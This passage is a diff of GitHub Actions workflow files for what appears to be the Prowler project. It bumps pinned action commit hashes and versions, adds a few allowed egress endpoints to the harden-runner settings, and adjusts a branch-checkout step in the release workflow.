      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -126,23 +126,23 @@ jobs:
            registry-1.docker.io:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Login to DockerHub
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121 # v4.1.0
+        uses: docker/login-action@81c6f93d4bc991e510b342a00b419b3bb4efc5c6 # v4.7.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
+        uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1

      - name: Build and push MCP container for ${{ matrix.arch }}
        id: container-push
        if: github.event_name == 'push' || github.event_name == 'release' || github.event_name == 'workflow_dispatch'
-        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0
+        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: ${{ env.WORKING_DIRECTORY }}
          push: true
@@ -173,7 +173,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -185,7 +185,7 @@ jobs:
            release-assets.githubusercontent.com:443

      - name: Login to DockerHub
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121 # v4.1.0
+        uses: docker/login-action@81c6f93d4bc991e510b342a00b419b3bb4efc5c6 # v4.7.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -235,12 +235,12 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -33,14 +33,14 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -53,7 +53,7 @@ jobs:

      - name: Lint Dockerfile with Hadolint
        if: steps.dockerfile-changed.outputs.any_changed == 'true'
-        uses: hadolint/hadolint-action@2332a7b74a6de0dda2e2221d575162eba76ba5e5 # v3.3.0
+        uses: hadolint/hadolint-action@06be81baf89a55ffd0e24b8f04a4185738dd3387 # v3.5.0
        with:
          dockerfile: mcp_server/Dockerfile

@@ -68,7 +68,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -77,6 +77,7 @@ jobs:
            auth.docker.io:443
            production.cloudflare.docker.com:443
            production.cloudfront.docker.com:443
+            tuf-repo-cdn.sigstore.dev:443
            ghcr.io:443
            pkg-containers.githubusercontent.com:443
            files.pythonhosted.org:443
@@ -94,7 +95,7 @@ jobs:
            get.anchore.io:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -117,11 +118,11 @@ jobs:

      - name: Set up Docker Buildx
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
+        uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1

      - name: Build MCP container
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0
+        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: ${{ env.MCP_WORKING_DIR }}
          push: false
@@ -29,7 +29,7 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -67,22 +67,22 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Install uv
-        uses: astral-sh/setup-uv@5a095e7a2014a4212f075830d4f7277575a9d098 # v7.3.1
+        uses: astral-sh/setup-uv@37802adc94f370d6bfd71619e3f0bf239e1f3b78 # v7.6.0
        with:
          enable-cache: false

      - name: Set up Python ${{ env.PYTHON_VERSION }}
-        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
+        uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0
        with:
          python-version: ${{ env.PYTHON_VERSION }}

@@ -113,7 +113,7 @@ jobs:

      - name: Publish prowler-mcp package to PyPI
        if: steps.pypi-check.outputs.skip != 'true'
-        uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # v1.14.2
+        uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086 # v1.14.3
        with:
          packages-dir: ${{ env.WORKING_DIRECTORY }}/dist/
          print-hash: true
@@ -32,7 +32,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -45,7 +45,7 @@ jobs:
            osv-vulnerabilities.storage.googleapis.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -38,7 +38,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          # hub.prowler.com and raw.githubusercontent.com are deliberately absent:
@@ -49,6 +49,7 @@ jobs:
            github.com:443
            pypi.org:443
            files.pythonhosted.org:443
+            release-assets.githubusercontent.com:443
            cli.codecov.io:443
            keybase.io:443
            ingest.codecov.io:443
@@ -57,7 +58,7 @@ jobs:
            api.github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -92,7 +93,7 @@ jobs:

      - name: Upload coverage reports to Codecov
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -48,20 +48,20 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
+        uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1

      - name: Build ${{ matrix.component }} container (linux/arm64)
-        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0
+        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: ${{ matrix.context }}
          file: ${{ matrix.dockerfile }}
@@ -83,7 +83,7 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -28,7 +28,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -40,7 +40,7 @@ jobs:
            files.pythonhosted.org:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          fetch-depth: 1
          persist-credentials: false
@@ -64,9 +64,9 @@ jobs:

      - name: Set up Python
        if: steps.changed-files.outputs.any_changed == 'true'
-        uses: actions/setup-python@e797f83bcb11b83ae66e0230d6156d7c80228e7c # v6.0.0
+        uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0
        with:
-          python-version: '3.12'
+          python-version: '3.12.16'

      - name: Test changelog attribution
        if: steps.changed-files.outputs.any_changed == 'true'
@@ -86,7 +86,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -94,7 +94,7 @@ jobs:
            github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          fetch-depth: 1
          # zizmor: ignore[artipacked]
@@ -35,7 +35,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -43,7 +43,7 @@ jobs:
            github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          fetch-depth: 1
          # zizmor: ignore[artipacked]
@@ -28,12 +28,12 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout PR head
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          fetch-depth: 1
@@ -26,7 +26,7 @@ jobs:
      contents: read
    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -30,7 +30,7 @@ jobs:
      pull-requests: write
    steps:
    - name: Harden the runner (Audit all outbound calls)
-      uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+      uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
      with:
        egress-policy: audit

@@ -41,7 +41,7 @@ jobs:
        gh variable set RELEASE_FREEZE --body true --repo "${GITHUB_REPOSITORY}"

    - name: Checkout repository
-      uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+      uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
      with:
        fetch-depth: 0
        token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }}
@@ -117,7 +117,8 @@ jobs:
          fi
          echo "Branch $BRANCH_NAME does not exist, creating it from master ($MASTER_SHA)..."
          gh api --method POST "repos/${GITHUB_REPOSITORY}/git/refs" -f ref="refs/heads/${BRANCH_NAME}" -f sha="${MASTER_SHA}"
-          git checkout -b "$BRANCH_NAME" "$MASTER_SHA"
+          git update-ref "refs/remotes/origin/${BRANCH_NAME}" "$MASTER_SHA"
+          git checkout -b "$BRANCH_NAME" "origin/$BRANCH_NAME"
        else
          echo "ERROR: Branch $BRANCH_NAME does not exist. For patch releases (X.Y.Z), the branch should already exist."
          exit 1
@@ -402,7 +403,7 @@ jobs:
          no-changelog

    - name: Create draft release
-      uses: softprops/action-gh-release@153bb8e04406b158c6c84fc1615b65b24149a1fe # v2.6.1
+      uses: softprops/action-gh-release@3bb12739c298aeb8a4eeaf626c5b8d85266b0e65 # v2.6.2
      with:
        tag_name: ${{ env.PROWLER_VERSION }}
        name: Prowler ${{ env.PROWLER_VERSION }}
@@ -25,7 +25,7 @@ jobs:
    timeout-minutes: 5
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -16,7 +16,7 @@ jobs:
    timeout-minutes: 5
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -28,7 +28,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -45,12 +45,12 @@ jobs:
            releases.astral.sh:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Set up uv
-        uses: astral-sh/setup-uv@5a095e7a2014a4212f075830d4f7277575a9d098 # v7.3.1
+        uses: astral-sh/setup-uv@37802adc94f370d6bfd71619e3f0bf239e1f3b78 # v7.6.0

      - name: Install prek
        run: uv tool install "prek==${PREK_VERSION}"
@@ -25,14 +25,14 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -33,16 +33,17 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443
            pypi.org:443
            files.pythonhosted.org:443
+            release-assets.githubusercontent.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -53,7 +53,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -63,17 +63,17 @@ jobs:
            uploads.github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Initialize CodeQL
-        uses: github/codeql-action/init@68bde559dea0fdcac2102bfdf6230c5f70eb485e # v4.35.4
+        uses: github/codeql-action/init@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1
        with:
          languages: ${{ matrix.language }}
          config-file: ./.github/codeql/sdk-codeql-config.yml

      - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@68bde559dea0fdcac2102bfdf6230c5f70eb485e # v4.35.4
+        uses: github/codeql-action/analyze@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1
        with:
          category: '/language:${{ matrix.language }}'
@@ -61,7 +61,7 @@ jobs:
      contents: read
    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -70,7 +70,7 @@ jobs:
            pypi.org:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -100,12 +100,12 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -144,7 +144,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -168,34 +168,34 @@ jobs:
            www.powershellgallery.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Login to DockerHub
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121 # v4.1.0
+        uses: docker/login-action@81c6f93d4bc991e510b342a00b419b3bb4efc5c6 # v4.7.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Configure AWS credentials (OIDC)
-        uses: aws-actions/configure-aws-credentials@d979d5b3a71173a29b74b5b88418bfda9437d885 # v6.1.1
+        uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
        with:
          aws-region: us-east-1
          role-to-assume: ${{ secrets.PUBLIC_ECR_PUSH_ROLE_ARN }}

      - name: Login to Public ECR
-        uses: aws-actions/amazon-ecr-login@d539f0932e70871a027e9d5a9d8fc38589180a64 # v2.1.6
+        uses: aws-actions/amazon-ecr-login@03f1aad4c6c7ffd436567f42f9384779290529bd # v2.1.7
        with:
          registry-type: public

      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
+        uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1

      - name: Build and push SDK container for ${{ matrix.arch }}
        id: container-push
        if: github.event_name == 'push' || github.event_name == 'release' || github.event_name == 'workflow_dispatch'
-        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0
+        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: .
          file: ${{ env.DOCKERFILE_PATH }}
@@ -228,7 +228,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -245,19 +245,19 @@ jobs:


      - name: Login to DockerHub
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121 # v4.1.0
+        uses: docker/login-action@81c6f93d4bc991e510b342a00b419b3bb4efc5c6 # v4.7.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Configure AWS credentials (OIDC)
-        uses: aws-actions/configure-aws-credentials@d979d5b3a71173a29b74b5b88418bfda9437d885 # v6.1.1
+        uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
        with:
          aws-region: us-east-1
          role-to-assume: ${{ secrets.PUBLIC_ECR_PUSH_ROLE_ARN }}

      - name: Login to Public ECR
-        uses: aws-actions/amazon-ecr-login@d539f0932e70871a027e9d5a9d8fc38589180a64 # v2.1.6
+        uses: aws-actions/amazon-ecr-login@03f1aad4c6c7ffd436567f42f9384779290529bd # v2.1.7
        with:
          registry-type: public

@@ -290,7 +290,7 @@ jobs:
      # Push to toniblyx/prowler only for current version (latest/stable/release tags)
      - name: Login to DockerHub (toniblyx)
        if: needs.setup.outputs.latest_tag == 'latest'
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121 # v4.1.0
+        uses: docker/login-action@81c6f93d4bc991e510b342a00b419b3bb4efc5c6 # v4.7.0
        with:
          username: ${{ secrets.TONIBLYX_DOCKERHUB_USERNAME }}
          password: ${{ secrets.TONIBLYX_DOCKERHUB_PASSWORD }}
@@ -315,7 +315,7 @@ jobs:
      # Re-login as prowlercloud for cleanup of intermediate tags
      - name: Login to DockerHub (prowlercloud)
        if: always()
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121 # v4.1.0
+        uses: docker/login-action@81c6f93d4bc991e510b342a00b419b3bb4efc5c6 # v4.7.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -343,12 +343,12 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -36,14 +36,14 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -56,7 +56,7 @@ jobs:

      - name: Lint Dockerfile with Hadolint
        if: steps.dockerfile-changed.outputs.any_changed == 'true'
-        uses: hadolint/hadolint-action@2332a7b74a6de0dda2e2221d575162eba76ba5e5 # v3.3.0
+        uses: hadolint/hadolint-action@06be81baf89a55ffd0e24b8f04a4185738dd3387 # v3.5.0
        with:
          dockerfile: Dockerfile
          ignore: DL3013
@@ -72,7 +72,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -81,6 +81,7 @@ jobs:
            auth.docker.io:443
            production.cloudflare.docker.com:443
            production.cloudfront.docker.com:443
+            tuf-repo-cdn.sigstore.dev:443
            api.github.com:443
            mirror.gcr.io:443
            check.trivy.dev:443
@@ -103,7 +104,7 @@ jobs:
            releases.astral.sh:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -130,11 +131,11 @@ jobs:

      - name: Set up Docker Buildx
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
+        uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1

      - name: Build SDK container
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0
+        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: .
          push: false
@@ -54,7 +54,7 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -63,7 +63,7 @@ jobs:

      - name: Checkout repository
        if: github.event_name == 'push' || github.event_name == 'pull_request'
